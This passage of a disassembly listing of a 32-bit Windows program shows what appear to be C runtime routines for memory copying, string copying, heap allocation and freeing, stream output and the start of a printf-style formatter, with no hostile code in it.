		cmp	ecx, 8
		jb	short loc_410CD4
		rep movsd
		jmp	off_410DC4[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_410CD4
		rep movsd
		jmp	off_410DC4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_410D58	dd offset loc_410DBB	; DATA XREF: sub_410C50:loc_410CD4r
		dd offset loc_410DA8
		dd offset loc_410DA0
		dd offset loc_410D98
		dd offset loc_410D90
		dd offset loc_410D88
		dd offset loc_410D80
		dd offset loc_410D78
; ---------------------------------------------------------------------------


loc_410D78:				; CODE XREF: sub_410C50:loc_410CD4j
					; DATA XREF: sub_410C50+124o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_410D80:				; CODE XREF: sub_410C50:loc_410CD4j
					; DATA XREF: sub_410C50+120o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_410D88:				; CODE XREF: sub_410C50:loc_410CD4j
					; DATA XREF: sub_410C50+11Co
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_410D90:				; CODE XREF: sub_410C50:loc_410CD4j
					; DATA XREF: sub_410C50+118o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_410D98:				; CODE XREF: sub_410C50:loc_410CD4j
					; DATA XREF: sub_410C50+114o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_410DA0:				; CODE XREF: sub_410C50:loc_410CD4j
					; DATA XREF: sub_410C50+110o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_410DA8:				; CODE XREF: sub_410C50:loc_410CD4j
					; DATA XREF: sub_410C50+10Co
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_410DBB:				; CODE XREF: sub_410C50:loc_410CD4j
					; DATA XREF: sub_410C50:off_410D58o
		jmp	off_410DC4[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_410DC4	dd offset loc_410DD4	; DATA XREF: sub_410C50+5Cr
					; sub_410C50+BAr ...
		dd offset loc_410DDC
		dd offset loc_410DE8
		dd offset loc_410DFC
; ---------------------------------------------------------------------------


loc_410DD4:				; CODE XREF: sub_410C50+5Cj
					; sub_410C50+BAj ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410DDC:				; CODE XREF: sub_410C50+5Cj
					; sub_410C50+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410DE8:				; CODE XREF: sub_410C50+5Cj
					; sub_410C50+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410DFC:				; CODE XREF: sub_410C50+5Cj
					; sub_410C50+BAj ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410E14:				; CODE XREF: sub_410C50+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_410E48
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_410E3C
		std
		rep movsd
		cld
		jmp	off_410F60[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_410E3C:				; CODE XREF: sub_410C50+1DDj
					; sub_410C50+238j ...
		neg	ecx
		jmp	off_410F10[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_410E48:				; CODE XREF: sub_410C50+1D2j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_410E60
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_410E60+4[eax*4]
; ---------------------------------------------------------------------------


loc_410E60:				; CODE XREF: sub_410C50+202j
					; DATA XREF: sub_410C50+209r
		jmp	off_410F60[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		jz	short near ptr loc_410E73+5
		inc	ecx
		add	[eax-3FFFBEF2h], bl
		push	cs
		inc	ecx


loc_410E73:				; CODE XREF: sub_410C50+218j
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_410E3C
		std
		rep movsd
		cld
		jmp	off_410F60[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_410E3C
		std
		rep movsd
		cld
		jmp	off_410F60[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_410E3C
		std
		rep movsd
		cld
		jmp	off_410F60[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_410F14
		dd offset loc_410F1C
		dd offset loc_410F24
		dd offset loc_410F2C
		dd offset loc_410F34
		dd offset loc_410F3C
		dd offset loc_410F44
off_410F10	dd offset loc_410F57	; DATA XREF: sub_410C50+1EEr
; ---------------------------------------------------------------------------


loc_410F14:				; DATA XREF: sub_410C50+2A4o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_410F1C:				; DATA XREF: sub_410C50+2A8o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_410F24:				; DATA XREF: sub_410C50+2ACo
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_410F2C:				; DATA XREF: sub_410C50+2B0o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_410F34:				; DATA XREF: sub_410C50+2B4o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_410F3C:				; DATA XREF: sub_410C50+2B8o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_410F44:				; DATA XREF: sub_410C50+2BCo
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_410F57:				; CODE XREF: sub_410C50+1EEj
					; DATA XREF: sub_410C50:off_410F10o
		jmp	off_410F60[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_410F60	dd offset loc_410F70	; DATA XREF: sub_410C50+1E3r
					; sub_410C50:loc_410E60r ...
		dd offset loc_410F78
		dd offset loc_410F88
		dd offset loc_410F9C
; ---------------------------------------------------------------------------


loc_410F70:				; CODE XREF: sub_410C50+1E3j
					; sub_410C50:loc_410E60j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410F78:				; CODE XREF: sub_410C50+1E3j
					; sub_410C50:loc_410E60j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410F88:				; CODE XREF: sub_410C50+1E3j
					; sub_410C50:loc_410E60j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_410F9C:				; CODE XREF: sub_410C50+1E3j
					; sub_410C50:loc_410E60j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_410C50	endp


; =============== S U B	R O U T	I N E =======================================



sub_410FB5	proc near		; CODE XREF: sub_40D873+31p
					; sub_40D8D9+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	ecx, ebx
		push	esi
		push	edi
		jz	short loc_410FCA
		mov	edi, [esp+0Ch+arg_4]
		cmp	edi, ebx
		ja	short loc_410FE5


loc_410FCA:				; CODE XREF: sub_410FB5+Bj
					; sub_410FB5+3Aj
		call	sub_40F79E
		push	16h
		pop	esi
		mov	[eax], esi


loc_410FD4:				; CODE XREF: sub_410FB5+5Dj
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		call	sub_40DCD8
		add	esp, 14h
		mov	eax, esi
		jmp	short loc_411016
; ---------------------------------------------------------------------------


loc_410FE5:				; CODE XREF: sub_410FB5+13j
		mov	esi, [esp+0Ch+arg_8]
		cmp	esi, ebx
		jnz	short loc_410FF1
		mov	[ecx], bl
		jmp	short loc_410FCA
; ---------------------------------------------------------------------------


loc_410FF1:				; CODE XREF: sub_410FB5+36j
		mov	edx, ecx


loc_410FF3:				; CODE XREF: sub_410FB5+49j
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		inc	esi
		cmp	al, bl
		jz	short loc_411000
		dec	edi
		jnz	short loc_410FF3


loc_411000:				; CODE XREF: sub_410FB5+46j
		cmp	edi, ebx
		jnz	short loc_411014
		mov	[ecx], bl
		call	sub_40F79E
		push	22h
		pop	ecx
		mov	[eax], ecx
		mov	esi, ecx
		jmp	short loc_410FD4
; ---------------------------------------------------------------------------


loc_411014:				; CODE XREF: sub_410FB5+4Dj
		xor	eax, eax


loc_411016:				; CODE XREF: sub_410FB5+2Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_410FB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41101A	proc near		; CODE XREF: sub_411069+59p

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset dword_41F948
		call	__SEH_prolog4
		and	[ebp+var_1C], 0
		mov	esi, [ebp+arg_0]
		cmp	esi, dword_424EB4
		ja	short loc_411057
		push	4
		call	sub_416DA6
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_4175F3
		pop	ecx
		mov	[ebp+var_1C], eax
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_411060


loc_411057:				; CODE XREF: sub_41101A+19j
		mov	eax, [ebp+var_1C]
		call	__SEH_epilog4
		retn
sub_41101A	endp


; =============== S U B	R O U T	I N E =======================================



sub_411060	proc near		; CODE XREF: sub_41101A+38p
					; DATA XREF: .vty:0041F960o
		push	4
		call	sub_416CCE
		pop	ecx
		retn
sub_411060	endp


; =============== S U B	R O U T	I N E =======================================



sub_411069	proc near		; CODE XREF: sub_40D873+1Fp
					; sub_40D8D9+2Ap ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		cmp	ebp, 0FFFFFFE0h
		ja	loc_411116
		push	ebx
		mov	ebx, dword_41C130
		push	esi
		push	edi


loc_411080:				; CODE XREF: sub_411069+94j
		xor	esi, esi
		cmp	dword_42487C, esi
		mov	edi, ebp
		jnz	short loc_4110A4
		call	sub_4143CC
		push	1Eh
		call	sub_41422C
		push	0FFh
		call	sub_4124E3
		pop	ecx
		pop	ecx


loc_4110A4:				; CODE XREF: sub_411069+21j
		mov	eax, dword_424EC4
		cmp	eax, 1
		jnz	short loc_4110BC
		cmp	ebp, esi
		jz	short loc_4110B6
		mov	eax, ebp
		jmp	short loc_4110B9
; ---------------------------------------------------------------------------


loc_4110B6:				; CODE XREF: sub_411069+47j
		xor	eax, eax
		inc	eax


loc_4110B9:				; CODE XREF: sub_411069+4Bj
		push	eax
		jmp	short loc_4110DA
; ---------------------------------------------------------------------------


loc_4110BC:				; CODE XREF: sub_411069+43j
		cmp	eax, 3
		jnz	short loc_4110CC
		push	ebp
		call	sub_41101A
		cmp	eax, esi
		pop	ecx
		jnz	short loc_4110E3


loc_4110CC:				; CODE XREF: sub_411069+56j
		cmp	ebp, esi
		jnz	short loc_4110D3
		xor	edi, edi
		inc	edi


loc_4110D3:				; CODE XREF: sub_411069+65j
		add	edi, 0Fh
		and	edi, 0FFFFFFF0h
		push	edi


loc_4110DA:				; CODE XREF: sub_411069+51j
		push	esi
		push	dword_42487C
		call	ebx	; RtlAllocateHeap


loc_4110E3:				; CODE XREF: sub_411069+61j
		mov	esi, eax
		test	esi, esi
		jnz	short loc_41110F
		cmp	dword_424D0C, eax
		push	0Ch
		pop	edi
		jz	short loc_411101
		push	ebp
		call	sub_412B12
		test	eax, eax
		pop	ecx
		jnz	short loc_411080
		jmp	short loc_411108
; ---------------------------------------------------------------------------


loc_411101:				; CODE XREF: sub_411069+89j
		call	sub_40F79E
		mov	[eax], edi


loc_411108:				; CODE XREF: sub_411069+96j
		call	sub_40F79E
		mov	[eax], edi


loc_41110F:				; CODE XREF: sub_411069+7Ej
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_411116:				; CODE XREF: sub_411069+8j
		push	ebp
		call	sub_412B12
		pop	ecx
		call	sub_40F79E
		mov	dword ptr [eax], 0Ch
		xor	eax, eax
		pop	ebp
		retn
sub_411069	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41112C	proc near		; CODE XREF: sub_40D931+Fp sub_40DD8Aj ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041118B SIZE 0000002F BYTES

		push	0Ch
		push	offset dword_41F968
		call	__SEH_prolog4
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_4111B4
		cmp	dword_424EC4, 3
		jnz	short loc_41118B
		push	4
		call	sub_416DA6
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_416E1F
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_41116B
		push	esi
		push	eax
		call	sub_416E4A
		pop	ecx
		pop	ecx


loc_41116B:				; CODE XREF: sub_41112C+34j
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		call	sub_411182
		cmp	[ebp+var_1C], 0
		jnz	short loc_4111B4
		push	[ebp+arg_0]
		jmp	short loc_41118C
sub_41112C	endp


; =============== S U B	R O U T	I N E =======================================



sub_411182	proc near		; CODE XREF: sub_41112C+46p
					; DATA XREF: .vty:0041F980o
		push	4
		call	sub_416CCE
		pop	ecx
		retn
sub_411182	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41112C


loc_41118B:				; CODE XREF: sub_41112C+1Aj
		push	esi


loc_41118C:				; CODE XREF: sub_41112C+54j
		push	0
		push	dword_42487C
		call	dword_41C12C	; RtlFreeHeap
		test	eax, eax
		jnz	short loc_4111B4
		call	sub_40F79E
		mov	esi, eax
		call	dword_41C0A4	; RtlGetLastWin32Error
		push	eax
		call	sub_40F763
		mov	[esi], eax
		pop	ecx


loc_4111B4:				; CODE XREF: sub_41112C+11j
					; sub_41112C+4Fj ...
		call	__SEH_epilog4
		retn
; END OF FUNCTION CHUNK	FOR sub_41112C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111BA	proc near		; CODE XREF: sub_40D9FB+9Fp
					; sub_40F60D+A3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_4]
		push	esi
		call	sub_414AB1
		mov	[ebp+arg_4], eax
		mov	eax, [esi+0Ch]
		test	al, 82h
		pop	ecx
		jnz	short loc_4111EA
		call	sub_40F79E
		mov	dword ptr [eax], 9


loc_4111DE:				; CODE XREF: sub_4111BA+3Fj
		or	dword ptr [esi+0Ch], 20h
		or	eax, 0FFFFFFFFh
		jmp	loc_411317
; ---------------------------------------------------------------------------


loc_4111EA:				; CODE XREF: sub_4111BA+17j
		test	al, 40h
		jz	short loc_4111FB
		call	sub_40F79E
		mov	dword ptr [eax], 22h
		jmp	short loc_4111DE
; ---------------------------------------------------------------------------


loc_4111FB:				; CODE XREF: sub_4111BA+32j
		push	ebx
		xor	ebx, ebx
		test	al, 1
		jz	short loc_411218
		test	al, 10h
		mov	[esi+4], ebx
		jz	loc_411292
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_411218:				; CODE XREF: sub_4111BA+46j
		mov	eax, [esi+0Ch]
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		mov	[esi+4], ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41125C
		call	sub_413A82
		add	eax, 20h
		cmp	esi, eax
		jz	short loc_411248
		call	sub_413A82
		add	eax, 40h
		cmp	esi, eax
		jnz	short loc_411255


loc_411248:				; CODE XREF: sub_4111BA+80j
		push	[ebp+arg_4]
		call	sub_417AB6
		test	eax, eax
		pop	ecx
		jnz	short loc_41125C


loc_411255:				; CODE XREF: sub_4111BA+8Cj
		push	esi
		call	sub_417A72
		pop	ecx


loc_41125C:				; CODE XREF: sub_4111BA+74j
					; sub_4111BA+99j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	loc_4112E9
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		cmp	edi, ebx
		mov	[esi+4], ecx
		jle	short loc_41129D
		push	edi
		push	eax
		push	[ebp+arg_4]
		call	sub_4149D5
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		jmp	short loc_4112DF
; ---------------------------------------------------------------------------


loc_411292:				; CODE XREF: sub_4111BA+4Dj
		or	eax, 20h
		mov	[esi+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	short loc_411316
; ---------------------------------------------------------------------------


loc_41129D:				; CODE XREF: sub_4111BA+C4j
		mov	ecx, [ebp+arg_4]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_4112C0
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_4112C0
		mov	eax, ecx
		and	eax, 1Fh
		imul	eax, 28h
		mov	edx, ecx
		sar	edx, 5
		add	eax, dword_424EE0[edx*4]
		jmp	short loc_4112C5
; ---------------------------------------------------------------------------


loc_4112C0:				; CODE XREF: sub_4111BA+E9j
					; sub_4111BA+EEj
		mov	eax, offset dword_423C68


loc_4112C5:				; CODE XREF: sub_4111BA+104j
		test	byte ptr [eax+4], 20h
		jz	short loc_4112DF
		push	2
		push	ebx
		push	ebx
		push	ecx
		call	sub_417959
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411304


loc_4112DF:				; CODE XREF: sub_4111BA+D6j
					; sub_4111BA+10Fj
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_4112FF
; ---------------------------------------------------------------------------


loc_4112E9:				; CODE XREF: sub_4111BA+A9j
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	[ebp+arg_4]
		call	sub_4149D5
		add	esp, 0Ch
		mov	[ebp+var_4], eax


loc_4112FF:				; CODE XREF: sub_4111BA+12Dj
		cmp	[ebp+var_4], edi
		jz	short loc_41130D


loc_411304:				; CODE XREF: sub_4111BA+123j
		or	dword ptr [esi+0Ch], 20h
		or	eax, 0FFFFFFFFh
		jmp	short loc_411315
; ---------------------------------------------------------------------------


loc_41130D:				; CODE XREF: sub_4111BA+148j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_411315:				; CODE XREF: sub_4111BA+151j
		pop	edi


loc_411316:				; CODE XREF: sub_4111BA+E1j
		pop	ebx


loc_411317:				; CODE XREF: sub_4111BA+2Bj
		pop	esi
		leave
		retn
sub_4111BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41131A	proc near		; CODE XREF: sub_41134D+11p
					; sub_411371+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_411326
		cmp	dword ptr [ecx+8], 0
		jz	short loc_41134A


loc_411326:				; CODE XREF: sub_41131A+4j
		dec	dword ptr [ecx+4]
		js	short loc_411336
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_411342
; ---------------------------------------------------------------------------


loc_411336:				; CODE XREF: sub_41131A+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_4111BA
		pop	ecx
		pop	ecx


loc_411342:				; CODE XREF: sub_41131A+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41134A
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------


loc_41134A:				; CODE XREF: sub_41131A+Aj
					; sub_41131A+2Bj
		inc	dword ptr [esi]
		retn
sub_41131A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41134D	proc near		; CODE XREF: sub_4113BB+853p
					; sub_4113BB+880p ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_411368
; ---------------------------------------------------------------------------


loc_411355:				; CODE XREF: sub_41134D+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_41131A
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41136E


loc_411368:				; CODE XREF: sub_41134D+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_411355


loc_41136E:				; CODE XREF: sub_41134D+19j
		pop	esi
		pop	ebp
		retn
sub_41134D	endp


; =============== S U B	R O U T	I N E =======================================



sub_411371	proc near		; CODE XREF: sub_4113BB+867p
					; sub_4113BB+8CEp ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_4113B1
		cmp	dword ptr [edi+8], 0
		jnz	short loc_4113B1
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_4113B8
; ---------------------------------------------------------------------------


loc_41138B:				; CODE XREF: sub_411371+45j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_41131A
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_4113B1
		call	sub_40F79E
		cmp	dword ptr [eax], 2Ah
		jnz	short loc_4113B8
		mov	ecx, edi
		mov	al, 3Fh
		call	sub_41131A


loc_4113B1:				; CODE XREF: sub_411371+Aj
					; sub_411371+10j ...
		cmp	[esp+8+arg_0], 0
		jg	short loc_41138B


loc_4113B8:				; CODE XREF: sub_411371+18j
					; sub_411371+35j
		pop	esi
		pop	ebx
		retn
sub_411371	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1F8h


sub_4113BB	proc near		; CODE XREF: sub_40D9FB+80p
					; sub_40F60D+84p

var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_260		= dword	ptr -260h
var_25C		= byte ptr -25Ch
var_254		= dword	ptr -254h
var_250		= byte ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_211		= byte ptr -211h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-1F8h]
		sub	esp, 278h
		mov	eax, dword_4231C4
		xor	eax, ebp
		mov	[ebp+1F8h+var_4], eax
		mov	eax, [ebp+1F8h+arg_0]
		push	ebx
		mov	ebx, [ebp+1F8h+arg_4]
		push	esi
		xor	esi, esi
		push	edi
		mov	edi, [ebp+1F8h+arg_C]
		push	[ebp+1F8h+arg_8]
		lea	ecx, [ebp+1F8h+var_25C]
		mov	[ebp+1F8h+var_228], eax
		mov	[ebp+1F8h+var_224], edi
		mov	[ebp+1F8h+var_244], esi
		mov	[ebp+1F8h+var_210], esi
		mov	[ebp+1F8h+var_238], esi
		mov	[ebp+1F8h+var_218], esi
		mov	[ebp+1F8h+var_234], esi
		mov	[ebp+1F8h+var_248], esi
		mov	[ebp+1F8h+var_23C], esi
		call	sub_40F7E2
		cmp	[ebp+1F8h+var_228], esi
		jnz	short loc_411448


loc_41141B:				; CODE XREF: sub_4113BB+E5j
					; sub_4113BB+138j ...
		call	sub_40F79E
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		push	esi


loc_41142B:				; CODE XREF: sub_4113BB+948j
		call	sub_40DCD8
		add	esp, 14h
		cmp	[ebp+1F8h+var_250], 0
		jz	short loc_411440
		mov	eax, [ebp+1F8h+var_254]
		and	dword ptr [eax+70h], 0FFFFFFFDh


loc_411440:				; CODE XREF: sub_4113BB+7Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_411D18
; ---------------------------------------------------------------------------


loc_411448:				; CODE XREF: sub_4113BB+5Ej
		mov	eax, [ebp+1F8h+var_228]
		test	byte ptr [eax+0Ch], 40h
		jnz	loc_4114F9
		push	eax
		call	sub_414AB1
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_411497
		push	[ebp+1F8h+var_228]
		call	sub_414AB1
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_411497
		push	[ebp+1F8h+var_228]
		call	sub_414AB1
		push	[ebp+1F8h+var_228]
		sar	eax, 5
		lea	esi, ds:424EE0h[eax*4]
		call	sub_414AB1
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [esi]
		pop	ecx
		pop	ecx
		xor	esi, esi
		jmp	short loc_41149C
; ---------------------------------------------------------------------------


loc_411497:				; CODE XREF: sub_4113BB+A4j
					; sub_4113BB+B2j
		mov	eax, offset dword_423C68


loc_41149C:				; CODE XREF: sub_4113BB+DAj
		test	byte ptr [eax+24h], 7Fh
		jnz	loc_41141B
		push	[ebp+1F8h+var_228]
		call	sub_414AB1
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4114EA
		push	[ebp+1F8h+var_228]
		call	sub_414AB1
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_4114EA
		push	[ebp+1F8h+var_228]
		call	sub_414AB1
		push	[ebp+1F8h+var_228]
		sar	eax, 5
		lea	esi, ds:424EE0h[eax*4]
		call	sub_414AB1
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [esi]
		pop	ecx
		pop	ecx
		xor	esi, esi
		jmp	short loc_4114EF
; ---------------------------------------------------------------------------


loc_4114EA:				; CODE XREF: sub_4113BB+F7j
					; sub_4113BB+105j
		mov	eax, offset dword_423C68


loc_4114EF:				; CODE XREF: sub_4113BB+12Dj
		test	byte ptr [eax+24h], 80h
		jnz	loc_41141B


loc_4114F9:				; CODE XREF: sub_4113BB+94j
		cmp	ebx, esi
		jz	loc_41141B
		mov	dl, [ebx]
		xor	ecx, ecx
		test	dl, dl
		mov	[ebp+1F8h+var_22C], esi
		mov	[ebp+1F8h+var_220], esi
		mov	[ebp+1F8h+var_24C], esi
		mov	[ebp+1F8h+var_211], dl
		jz	loc_411D08


loc_411519:				; CODE XREF: sub_4113BB+931j
		inc	ebx
		cmp	[ebp+1F8h+var_22C], 0
		mov	[ebp+1F8h+var_240], ebx
		jl	loc_411D08
		mov	al, dl
		sub	al, 20h
		cmp	al, 58h
		ja	short loc_411540
		movsx	eax, dl
		movzx	eax, byte_41C368[eax]
		and	eax, 0Fh
		xor	esi, esi
		jmp	short loc_411544
; ---------------------------------------------------------------------------


loc_411540:				; CODE XREF: sub_4113BB+172j
		xor	esi, esi
		xor	eax, eax


loc_411544:				; CODE XREF: sub_4113BB+183j
		movsx	eax, byte_41C388[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+1F8h+var_26C], eax
		ja	loc_411CD8	; default
		jmp	off_411D33[eax*4] ; switch jump


loc_411564:				; DATA XREF: .vty:off_411D33o
		or	[ebp+1F8h+var_218], 0FFFFFFFFh ; jumptable 0041155D case 1
		mov	[ebp+1F8h+var_270], esi
